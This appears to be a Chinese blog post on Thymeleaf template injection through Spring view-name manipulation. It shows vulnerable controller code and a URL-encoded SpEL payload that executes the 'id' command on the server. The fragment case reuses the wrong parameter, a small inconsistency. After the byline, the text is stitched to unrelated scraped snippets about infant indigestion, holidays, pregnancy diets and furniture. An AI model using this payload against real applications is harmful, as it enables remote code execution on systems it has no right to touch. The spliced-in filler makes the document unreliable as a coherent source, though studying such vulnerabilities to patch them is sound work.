本文配合:https://github.com/veracode-research/spring-view-manipulation/食用更佳。
Thymeleaf 是与 java 配合使用的一款服务端模板引擎,也是 spring 官方支持的一款服务端模板引擎。他支持 HTML 原型,在 HTML 标签中增加额外的属性来达到模板 + 数据的展示方式。默认前缀:/templates/ ,默认后缀:.html 。
首先我们来熟悉一下这个漏洞发生的一些前期知识:
@GetMapping("/") public String index(Model model) { model.addAttribute("message", "happy birthday"); return "welcome"; }
<!DOCTYPE HTML> <html xmlns:th="http://www.thymeleaf.org"> <div th:fragment="header"> <h3>Spring Boot Web Thymeleaf Example</h3> </div> <div th:fragment="main"> <span th:text="'Hello, ' + ${message}"></span> </div> </html>
漏洞出现在 thymeleaf 的片段选择器中,关于片段选择器是什么,通过一个小例子就会知道。
@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }
4.1 首先看一下
@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted }
这时将 lang 参数作为模块名解析的一部分。payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::
执行命令并回显。
4.2 再看一下:
@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }
这时是将 section 放在 selector 的位置。同样是上面的 payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::
这时没有回显,状态也是 200 ,调试之后发现,前面模板名找不到会抛出一个异常,而这里是将我们的 section 放到 welcome :: 后面,而这时是找到的模板名,找不到 selector ,这时他不会抛出异常,只是没有内容显示了,但是命令还是会执行。
@GetMapping("/doc/{document}") public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); //returns void, so view name is taken from URI }
public String getViewName(HttpServletRequest request) { String lookupPath=this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH); return (this.prefix + transformPath(lookupPath) + this.suffix); }
文章来源:Medi0cr1ty,作者:medi0cr1ty
宝宝的肠胃还未发育完善,很容易出现积食的情况,那么宝宝积食难受家长应该如何护理呢?宝宝积食时一般都有哪些表现,宝宝积食按摩手法图解。 宝宝积食症状 宝宝在睡眠中身子不停翻动,有时还会咬牙。正所谓食...
元旦,公历新年伊始,这对很多人来说都是个非常重要的日子。 元旦虽然没有春节浓厚的节日氛围和隆重的仪式,但更具有辞旧迎新的意义,毕竟我们使用的每一个年度数据都是以公历年来统计的。元旦标志着全新一年的开...
本文导读目录: 1、15年前,那个黑掉阿里内网的“黑客男孩”吴翰清,如今情况怎样? 2、3分钟黑掉阿里的“黑客男孩”,马云给500万年薪,现在怎么样了? 3、黑客面试黑掉公司后台,却让马云开出...
为切实加强园区日常安全工作,提高园区人员安全消防素质、安全防范与自救能力,11月3日,常州博济·五星智造园联合钟楼区应急管理局、五星街道安监部门组织开展了消防演练及消防安全教育活动。...
相关吃虾的禁忌叫法许多 ,孕妈妈妈妈们在怀孕期也会更为留意食材的忌讳,那麼在怀孕期孕妇吃虾怎么样,孕妇吃虾多长时间吃苹果 孕妇吃虾不可以和新鲜水果一起吃吗。下边的我就来详细介绍。 孕妇吃虾不可以和新...
家居产业的诞生由来已久,但在全面信息化的新型时代,家居产业的数字化、智能化水平一直较为低下。与此同时,设计正在成为家居产业越来越重要的营销流量入口,设计师带货、设计图促单早已变得司空见惯。在这种形势下...